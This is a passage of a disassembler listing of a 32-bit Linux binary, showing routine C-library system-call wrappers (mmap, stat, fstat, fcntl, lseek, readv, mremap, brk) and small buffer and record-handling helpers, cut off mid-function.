; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065B0C	proc near		; DATA XREF: .data:0807927Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax+0Ch]
		mov	eax, [ebx+4]
		push	eax
		call	free
		push	ebx
		call	free
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8065B0C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065B2C	proc near		; CODE XREF: sub_8063D20+162p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax+0Ch]
		jmp	short loc_8065B68
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065B38:				; CODE XREF: sub_8065B2C+40j
					; sub_8065B2C+46j
		mov	eax, [ebx+34h]
		push	eax
		push	ebx
		call	sub_80656E8
		add	esp, 8
		test	eax, eax
		jz	short loc_8065B63
		mov	dword ptr [ebx+34h], 0
		cmp	dword ptr [ebx+38h], 0
		jnz	short loc_8065B68
		push	ebx
		call	sub_8065698
		add	esp, 4
		test	eax, eax
		jnz	short loc_8065B68

loc_8065B63:				; CODE XREF: sub_8065B2C+1Bj
		xor	eax, eax
		jmp	short loc_8065B80
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065B68:				; CODE XREF: sub_8065B2C+Aj
					; sub_8065B2C+28j ...
		cmp	dword ptr [ebx+34h], 0
		jg	short loc_8065B38
		cmp	dword ptr [ebx+38h], 0
		jz	short loc_8065B38
		mov	dword ptr [ebx+38h], 0
		mov	eax, 1

loc_8065B80:				; CODE XREF: sub_8065B2C+39j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8065B2C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065B88	proc near

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax+0Ch]
		jmp	short loc_8065BBF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065B94:				; CODE XREF: sub_8065B88+3Bj
					; sub_8065B88+41j
		mov	eax, [ebx+34h]
		push	eax
		push	ebx
		call	sub_80656E8
		add	esp, 8
		test	eax, eax
		jz	short loc_8065BD8
		mov	dword ptr [ebx+34h], 0
		cmp	dword ptr [ebx+38h], 0
		jnz	short loc_8065BBF
		push	ebx
		call	sub_8065698
		add	esp, 4
		test	eax, eax
		jz	short loc_8065BD8

loc_8065BBF:				; CODE XREF: sub_8065B88+Aj
					; sub_8065B88+28j
		cmp	dword ptr [ebx+34h], 0
		jg	short loc_8065B94
		cmp	dword ptr [ebx+38h], 0
		jz	short loc_8065B94
		mov	eax, [ebx+2Ch]
		cmp	[ebx+30h], eax
		jz	short loc_8065BD8
		xor	eax, eax
		jmp	short loc_8065BDD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065BD8:				; CODE XREF: sub_8065B88+1Bj
					; sub_8065B88+35j ...
		mov	eax, 1

loc_8065BDD:				; CODE XREF: sub_8065B88+4Dj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8065B88	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065BE4	proc near		; CODE XREF: sub_8063D20+D2p
					; sub_8063D20+E1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		cmp	[ebp+arg_4], 0
		jnz	short loc_8065C04
		cmp	dword ptr [ecx+1Ch], 0
		jnz	short loc_8065C04
		mov	eax, [ecx+10h]
		add	eax, 4
		cmp	[ecx+14h], eax
		ja	short loc_8065C18

loc_8065C04:				; CODE XREF: sub_8065BE4+Dj
					; sub_8065BE4+13j
		mov	dword ptr [ecx+1Ch], 0
		push	1
		push	ecx
		call	sub_8065588
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065C18:				; CODE XREF: sub_8065BE4+1Ej
		mov	eax, [ecx+10h]
		sub	eax, [ecx+18h]
		add	eax, 0FFFFFFFCh
		mov	edx, [ecx+18h]
		or	eax, 80000000h
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[edx], eax
		mov	eax, [ecx+10h]
		mov	[ecx+18h], eax
		add	dword ptr [ecx+10h], 4
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_8065BE4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065C48	proc near		; CODE XREF: sub_80649C0+Cp
		push	ebp
		mov	ebp, esp
		mov	eax, 100h
		mov	esp, ebp
		pop	ebp
		retn
sub_8065C48	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065C54	proc near		; CODE XREF: sub_80575B0+3p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	2
		call	sigprocmask
		test	eax, eax
		jge	short loc_8065C7C
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065C7C:				; CODE XREF: sub_8065C54+1Dj
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_8065C54	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065C84	proc near		; CODE XREF: sub_805D5F8+1Dp

var_190		= byte ptr -190h
var_188		= byte ptr -188h
var_43		= byte ptr -43h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 188h
		push	edi
		push	ebx
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jz	short loc_8065CD0
		lea	eax, [ebp+var_188]
		push	eax
		call	uname
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8065CDA
		lea	edx, [ebp+var_43]
		xor	al, al
		mov	edi, edx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		cmp	[ebp+arg_4], eax
		jb	short loc_8065CD0
		push	edx
		push	ebx
		call	strcpy
		xor	eax, eax
		jmp	short loc_8065CDF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065CD0:				; CODE XREF: sub_8065C84+10j
					; sub_8065C84+3Cj
		mov	__errno, 16h

loc_8065CDA:				; CODE XREF: sub_8065C84+24j
		mov	eax, 0FFFFFFFFh

loc_8065CDF:				; CODE XREF: sub_8065C84+47j
		lea	esp, [ebp+var_190]
		pop	ebx
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065C84	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

mmap		proc near		; CODE XREF: sub_805BA88+34p
					; sub_805E640+5Ep ...

var_28		= byte ptr -28h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_14]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], ecx
		mov	ebx, [ebp+arg_C]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], edi
		lea	edx, [ebp+var_18]
		mov	eax, 5Ah
		mov	ebx, edx
		int	80h		; LINUX	- old_mmap
		mov	edx, eax
		lea	eax, [edx+1000h]
		cmp	eax, 0FFFh
		ja	short loc_8065D41
		neg	edx
		mov	__errno, edx
		mov	edx, 0FFFFFFFFh

loc_8065D41:				; CODE XREF: mmap+46j
		mov	eax, edx
		lea	esp, [ebp+var_28]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
mmap		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

stat		proc near		; CODE XREF: sub_805E110+4Cp
					; sub_805E110+266p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		cmp	[ebp+arg_0], 1
		jnz	short loc_8065D74
		mov	eax, 6Ah
		mov	ebx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		int	80h		; LINUX	- sys_newstat
		test	eax, eax
		jge	short loc_8065D83
		neg	eax
		mov	__errno, eax
		jmp	short loc_8065D7E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065D74:				; CODE XREF: stat+8j
		mov	__errno, 16h

loc_8065D7E:				; CODE XREF: stat+22j
		mov	eax, 0FFFFFFFFh

loc_8065D83:				; CODE XREF: stat+19j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
stat		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

fstat		proc near		; CODE XREF: sub_80614E0+10p
					; sub_8066BFC+11Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		cmp	[ebp+arg_0], 1
		jnz	short loc_8065DB0
		mov	eax, 6Ch
		mov	ebx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		int	80h		; LINUX	- sys_newfstat
		test	eax, eax
		jge	short loc_8065DBF
		neg	eax
		mov	__errno, eax
		jmp	short loc_8065DBA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065DB0:				; CODE XREF: fstat+8j
		mov	__errno, 16h

loc_8065DBA:				; CODE XREF: fstat+22j
		mov	eax, 0FFFFFFFFh

loc_8065DBF:				; CODE XREF: fstat+19j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
fstat		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065DC8	proc near		; DATA XREF: sub_8065DE0+1Co

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_80661E8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8065DDB
		xor	eax, eax

loc_8065DDB:				; CODE XREF: sub_8065DC8+Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_8065DC8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065DE0	proc near		; CODE XREF: sub_805BBF4+45p
					; sub_805BBF4+D6p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		call	sub_8066230
		test	eax, eax
		jnz	short loc_8065E11
		cmp	dword_8078B30, offset sub_8065DE0
		jnz	short loc_8065E06
		mov	dword_8078B30, offset sub_8065DC8

loc_8065E06:				; CODE XREF: sub_8065DE0+1Aj
		push	ebx
		call	sub_80661E8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8065E13

loc_8065E11:				; CODE XREF: sub_8065DE0+Ej
		xor	eax, eax

loc_8065E13:				; CODE XREF: sub_8065DE0+2Fj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8065DE0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065E1C	proc near		; CODE XREF: sub_805CE84+186p

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	[ebp+var_8], 0
		cmp	[ebp+arg_8], edi
		jbe	loc_8065FCE
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		and	eax, 1Fh
		cmp	[ebp+arg_8], edi
		jle	short loc_8065EC1
		test	eax, eax
		jz	loc_8065EF8
		cmp	eax, 8
		jle	short loc_8065EC1
		cmp	eax, 10h
		jle	short loc_8065E8F
		cmp	eax, 19h
		jge	loc_8065EF8
		mov	eax, 8
		cmp	[ebp+arg_8], 8
		ja	short loc_8065E6E
		mov	eax, [ebp+arg_8]

loc_8065E6E:				; CODE XREF: sub_8065E1C+4Dj
		push	eax
		push	ebx
		mov	edx, [ebp+arg_0]
		push	edx
		call	readv
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jl	loc_8065FAB
		add	ebx, 40h
		add	edi, 8
		add	[ebp+var_8], esi

loc_8065E8F:				; CODE XREF: sub_8065E1C+39j
		mov	esi, [ebp+arg_8]
		sub	esi, edi
		mov	eax, 8
		cmp	esi, 8
		ja	short loc_8065EA0
		mov	eax, esi

loc_8065EA0:				; CODE XREF: sub_8065E1C+80j
		push	eax
		push	ebx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	readv
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jl	loc_8065FAB
		add	ebx, 40h
		add	edi, 8
		add	[ebp+var_8], esi

loc_8065EC1:				; CODE XREF: sub_8065E1C+27j
					; sub_8065E1C+34j
		mov	esi, [ebp+arg_8]
		sub	esi, edi
		mov	eax, 8
		cmp	esi, 8
		ja	short loc_8065ED2
		mov	eax, esi

loc_8065ED2:				; CODE XREF: sub_8065E1C+B2j
		push	eax
		push	ebx
		mov	edx, [ebp+arg_0]
		push	edx
		call	readv
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jl	loc_8065FAB
		add	ebx, 40h
		add	edi, 8
		jmp	loc_8065FC2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065EF8:				; CODE XREF: sub_8065E1C+2Bj
					; sub_8065E1C+3Ej ...
		mov	esi, [ebp+arg_8]
		sub	esi, edi
		mov	eax, 8
		cmp	esi, 8
		ja	short loc_8065F09
		mov	eax, esi

loc_8065F09:				; CODE XREF: sub_8065E1C+E9j
		push	eax
		push	ebx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	readv
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jl	loc_8065FAB
		add	ebx, 40h
		lea	eax, [edi+8]
		add	[ebp+var_8], esi
		mov	esi, [ebp+arg_8]
		sub	esi, eax
		mov	eax, 8
		cmp	esi, 8
		ja	short loc_8065F3B
		mov	eax, esi

loc_8065F3B:				; CODE XREF: sub_8065E1C+11Bj
		push	eax
		push	ebx
		mov	edx, [ebp+arg_0]
		push	edx
		call	readv
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jl	short loc_8065FAB
		add	ebx, 40h
		lea	eax, [edi+10h]
		add	[ebp+var_8], esi
		mov	esi, [ebp+arg_8]
		sub	esi, eax
		mov	eax, 8
		cmp	esi, 8
		ja	short loc_8065F69
		mov	eax, esi

loc_8065F69:				; CODE XREF: sub_8065E1C+149j
		push	eax
		push	ebx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	readv
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jl	short loc_8065FAB
		add	ebx, 40h
		lea	eax, [edi+18h]
		add	[ebp+var_8], esi
		mov	esi, [ebp+arg_8]
		sub	esi, eax
		mov	eax, 8
		cmp	esi, 8
		ja	short loc_8065F97
		mov	eax, esi

loc_8065F97:				; CODE XREF: sub_8065E1C+177j
		push	eax
		push	ebx
		mov	edx, [ebp+arg_0]
		push	edx
		call	readv
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jge	short loc_8065FBC

loc_8065FAB:				; CODE XREF: sub_8065E1C+64j
					; sub_8065E1C+96j ...
		cmp	__errno, 26h
		jz	short loc_8065FD8
		jmp	loc_80660E7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065FBC:				; CODE XREF: sub_8065E1C+18Dj
		add	ebx, 40h
		add	edi, 20h

loc_8065FC2:				; CODE XREF: sub_8065E1C+D4j
		add	[ebp+var_8], esi
		cmp	[ebp+arg_8], edi
		ja	loc_8065EF8

loc_8065FCE:				; CODE XREF: sub_8065E1C+15j
		mov	eax, [ebp+var_8]
		jmp	loc_80660E7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065FD8:				; CODE XREF: sub_8065E1C+196j
		mov	__errno, 0
		mov	[ebp+var_8], 0
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		jbe	short loc_8066064
		mov	eax, [ebp+arg_8]
		and	eax, 3
		cmp	[ebp+arg_8], edi
		jle	short loc_8066023
		test	eax, eax
		jz	short loc_8066034
		cmp	eax, 1
		jle	short loc_8066023
		cmp	eax, 2
		jle	short loc_8066018
		mov	ecx, [ebp+arg_4]
		mov	edi, [ecx+edi*8+4]
		mov	[ebp+var_8], edi
		mov	edi, 1

loc_8066018:				; CODE XREF: sub_8065E1C+1EBj
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+edi*8+4]
		add	[ebp+var_8], edx
		inc	edi

loc_8066023:				; CODE XREF: sub_8065E1C+1DDj
					; sub_8065E1C+1E6j
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+edi*8+4]
		add	[ebp+var_8], ecx
		inc	edi
		cmp	[ebp+arg_8], edi
		jbe	short loc_8066064
		nop

loc_8066034:				; CODE XREF: sub_8065E1C+1E1j
					; sub_8065E1C+246j
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+edi*8+4]
		add	[ebp+var_8], edx
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+edi*8+0Ch]
		add	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+edi*8+14h]
		add	[ebp+var_8], edx
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+edi*8+1Ch]
		add	[ebp+var_8], ecx
		add	edi, 4
		cmp	[ebp+arg_8], edi
		ja	short loc_8066034

loc_8066064:				; CODE XREF: sub_8065E1C+1D2j
					; sub_8065E1C+215j
		mov	eax, [ebp+var_8]
		add	eax, 3
		and	al, 0FCh
		sub	esp, eax
		mov	[ebp+var_4], esp
		mov	edx, [ebp+var_8]
		push	edx
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	read
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jge	short loc_8066094
		mov	eax, 0FFFFFFFFh
		jmp	short loc_80660E7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066094:				; CODE XREF: sub_8065E1C+26Dj
		test	esi, esi
		jnz	short loc_806609C
		xor	eax, eax
		jmp	short loc_80660E7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806609C:				; CODE XREF: sub_8065E1C+27Aj
		mov	[ebp+var_8], esi
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		jbe	short loc_80660E5
		lea	esi, [esi]

loc_80660A8:				; CODE XREF: sub_8065E1C+2C7j
		mov	edx, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+edi*8+4], edx
		jbe	short loc_80660BC
		mov	ebx, [ebp+var_8]
		jmp	short loc_80660C3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80660BC:				; CODE XREF: sub_8065E1C+296j
		mov	ecx, [ebp+arg_4]
		mov	ebx, [ecx+edi*8+4]

loc_80660C3:				; CODE XREF: sub_8065E1C+29Bj
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+edi*8]
		push	ebx
		mov	ecx, [ebp+var_4]
		push	ecx
		push	eax
		call	memcpy
		add	esp, 0Ch
		add	[ebp+var_4], ebx
		sub	[ebp+var_8], ebx
		jz	short loc_80660E5
		inc	edi
		cmp	[ebp+arg_8], edi
		ja	short loc_80660A8

loc_80660E5:				; CODE XREF: sub_8065E1C+288j
					; sub_8065E1C+2C1j
		mov	eax, esi

loc_80660E7:				; CODE XREF: sub_8065E1C+198j
					; sub_8065E1C+1B5j ...
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065E1C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

fcntl		proc near		; CODE XREF: sub_805CE84+427p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 37h
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		int	80h		; LINUX	- sys_fcntl
		mov	edx, eax
		test	edx, edx
		jge	short loc_806611E
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_806611E:				; CODE XREF: fcntl+18j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
fcntl		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

lseek		proc near		; CODE XREF: sub_80614C4+12p
					; sub_80659EC+12p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 13h
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		int	80h		; LINUX	- sys_lseek
		mov	edx, eax
		test	edx, edx
		jge	short loc_806614E
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_806614E:				; CODE XREF: lseek+18j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
lseek		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

munmap		proc near		; CODE XREF: sub_805BB34+15p
					; sub_805E5B8+29p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 5Bh
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		int	80h		; LINUX	- sys_munmap
		mov	edx, eax
		test	edx, edx
		jge	short loc_806617B
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_806617B:				; CODE XREF: munmap+15j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
munmap		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

readv		proc near		; CODE XREF: sub_8065E1C+58p
					; sub_8065E1C+8Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 91h
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		int	80h		; LINUX	- sys_readv
		mov	edx, eax
		test	edx, edx
		jge	short loc_80661AA
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_80661AA:				; CODE XREF: readv+18j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
readv		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

mremap		proc near		; CODE XREF: sub_805BB64+2Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	eax, 0A3h
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		mov	esi, [ebp+arg_C]
		int	80h		; LINUX	- sys_mremap
		mov	edx, eax
		cmp	edx, 0FFFFF000h
		jbe	short loc_80661E2
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_80661E2:				; CODE XREF: mremap+20j
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
mremap		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80661E8	proc near		; CODE XREF: sub_8065DC8+7p
					; sub_8065DE0+27p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		call	sub_8066230
		test	eax, eax
		jnz	short loc_8066222
		mov	ebx, esi
		add	ebx, dword_8079280
		mov	eax, 2Dh
		int	80h		; LINUX	- sys_brk
		mov	dword_8079280, eax
		cmp	eax, ebx
		jnz	short loc_8066218
		mov	eax, ebx
		sub	eax, esi
		jmp	short loc_8066227
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066218:				; CODE XREF: sub_80661E8+27j
